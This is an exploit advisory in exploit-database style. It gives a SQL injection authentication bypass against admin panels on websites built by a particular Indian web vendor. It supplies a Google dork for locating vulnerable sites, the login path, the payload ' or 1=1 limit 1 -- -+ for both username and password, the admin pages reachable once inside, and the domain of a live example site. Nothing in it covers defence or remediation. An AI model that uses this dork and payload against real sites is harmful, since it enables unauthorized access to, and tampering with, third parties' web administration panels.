################################################################################################# # Exploit Title : Designed and Developed by Reliable Services GRHRCS Pvt Ltd Admin Login Bypass Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 23/06/2018 # Vendor Homepage : greliable.com # Tested On : Windows # Category : WebApps # Exploit Risk : Medium # CWE : CWE-592 [ Authentication Bypass Issues ] ################################################################################################# # Google Dork : intext:"Designed and developed by Reliable Services GRHRCS Pvt Ltd" # Administration Panel Login Path : /admin # Exploit : Username => ' or 1=1 limit 1 -- -+ Password => ' or 1=1 limit 1 -- -+ # Useable URL Paths in the Admin Control Panel => /admin/home.php /news&events/newsandevents.php /news&events/news.php /photogallery/addcategory.phpv /change_pswrd/change_pswrd.php ################################################################################################# # Example Site : arathilmahaedavaka.com/admin ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################